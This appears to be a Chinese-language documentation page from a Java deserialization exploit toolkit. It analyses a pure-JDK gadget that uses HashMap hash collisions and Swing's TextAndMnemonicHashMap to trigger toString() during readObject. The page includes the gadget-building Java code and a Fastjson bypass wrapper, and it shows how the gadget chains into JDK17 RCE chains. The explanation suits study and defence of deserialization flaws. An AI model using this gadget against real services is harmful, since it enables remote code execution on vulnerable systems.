Skip to content

Latest commit

 

History

History
76 lines (66 loc) · 5.74 KB

File metadata and controls

76 lines (66 loc) · 5.74 KB

TextAndMnemonicHashMap 调用toString(TextAndMnemonicHashMapToString)

  • 类别:common 别名:— 优先级:10
  • 作者:—
  • 依赖jdk:javax.swing.UIDefaults$TextAndMnemonicHashMap(纯 JDK,无第三方依赖)

作用

一个纯 JDK 的 toString 型跳板:利用 HashMap.readObject 反序列化时的哈希碰撞,迫使 AbstractMap.equals 触发 javax.swing.UIDefaults$TextAndMnemonicHashMap 的取值逻辑,进而对内层对象调用其 toString() 方法。之后可以衔接任意「危险 toString」的 gadget(如 JacksonToStringFastjsonToString1 等),是 JDK17 等高版本下常用的 toString 入口。

链接标签

  • 入口 tagsJavaNativeDeserialize —— 承接 Java 原生反序列化入口(顶层就是一个可被 readObjectHashMap)。
  • 衔接 nextTagsToString —— 之后需接一个「在 toString() 中触发危险行为」的 gadget。
  • excludes:无。

源码剖析

核心在 getObject(Object object)object 即链的内层对象(下游的 toString gadget 产物):

public Object getObject(Object object) throws Exception {
    Class<?> innerClass = Class.forName("javax.swing.UIDefaults$TextAndMnemonicHashMap");
    Map map1 = (Map)Reflections.createWithoutConstructor(innerClass);   // 免构造器实例化两个 TextAndMnemonicHashMap
    Map map2 = (Map)Reflections.createWithoutConstructor(innerClass);
    map1.put(object, "1");
    map2.put(object, "2");                                              // 两个内层 map 都以目标对象为 key
    Field field = HashMap.class.getDeclaredField("loadFactor");
    field.setAccessible(true);
    field.set(map1, 1);                                                 // loadFactor 置 1,避免 put 阶段提前 resize/触发
    field.set(map2, 1);
    PayloadHelper.setHashMapValueToNull(map1, object);                  // 反射把 value 抹成 null
    PayloadHelper.setHashMapValueToNull(map2, object);
    HashMap map = PayloadHelper.makeMap(map1, map2);                    // 组成外层 HashMap,安排 map1/map2 哈希碰撞
    return map;
}
  • 两个内层 mapmap1map2 都是 TextAndMnemonicHashMapHashMap 子类),各自以 object 为键。用 Reflections.createWithoutConstructor 免构造器创建,避免正常构造带来的副作用。
  • loadFactor=1:反射修改内部字段,控制哈希表容量/扩容时机,确保后续碰撞按预期发生,并规避在构造阶段就意外触发 equals
  • value 置 nullsetHashMapValueToNull 把先前 put"1"/"2" 抹为 null。这是关键——当 AbstractMap.equals 遍历到某条 value 为 null 的 entry 时,会走 m.get(key)==null && m.containsKey(key) 分支,从而对另一张 TextAndMnemonicHashMap 发起 get(object)
  • makeMap(map1, map2):构造外层 HashMap,让 map1map2 落入同一个桶(哈希碰撞)。这样外层 HashMap.readObject → putVal 插入第二个键时,会调用 key.equals(k),即 map2.equals(map1),进入 AbstractMap.equals

反序列化时的触发链(见 @GadgetAnnotation 的 description):

HashMap#readObject() -> HashMap#putVal()(碰撞)
  -> AbstractMap.equals()(遍历 entry,遇 null value 走 get/containsKey 分支)
  -> TextAndMnemonicHashMap 的取值逻辑
  -> object.toString()   // 对内层对象调用 toString,交由下游 gadget 接管

invoke 负责取内层对象、可选地做 Fastjson 绕过包裹:

@Override
public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
    Object object = chain.doCreate(context);                           // 内层 toString gadget 产物
    Object getterObject = context.get(ContextTag.FASTJSON_HANDLE_BYPASS_KEY);
    Object resultObject = this.getObject(object);
    if (getterObject != null) {
        return CommonMethod.listWrap(getterObject, resultObject);      // 需要时把结果与绕过对象一起 list 包裹
    }
    return resultObject;
}

FASTJSON_HANDLE_BYPASS_KEY 存在时用 listWrap 把额外对象和本 payload 一起放进列表,用于某些 Fastjson/JSON 处理场景的绕过;一般 Java 原生反序列化下该值为空,直接返回外层 HashMap

参数(@Param)

本类无 @Param。要触发的目标 toString(内层对象)由下游 gadget 经 chain.doCreate 提供;FASTJSON_HANDLE_BYPASS_KEY 由上下文按需注入。

适用版本与原理要点

  • 纯 JDK gadget,无需第三方库,仅要求 javax.swing.UIDefaults$TextAndMnemonicHashMap 可加载(标准 JDK 均含)。
  • 属于经典「HashMap 哈希碰撞 → AbstractMap.equalstoString」家族在高版本 JDK 下的一个可用变体,常作为 JacksonToString / FastjsonToString1toString sink 的前置入口。
  • 不同 JDK 小版本中 TextAndMnemonicHashMapserialVersionUID 可能不同,本基类不做 UID 改写;高版本需改用子类 TextAndMnemonicHashMapToStringHighJDK

所属预设链

自由构件,未直接出现在 51 条预设链中(usedInChains 为空)。其高版本子类 TextAndMnemonicHashMapToStringHighJDK 被「JDK17 RCE链2」采用。

关联

  • 子类:TextAndMnemonicHashMapToStringHighJDK(追加 serialVersionUID 字节流替换以适配高版本 JDK)。
  • 下游(nextTags=ToString):JacksonToStringFastjsonToString1/FastjsonToString2BadAttributeValueExpExceptionToStringtoString 型 gadget。
  • 同族(同样是 readObject → toString 入口):EventListenerListToStringBadAttributeValueExpExceptionToString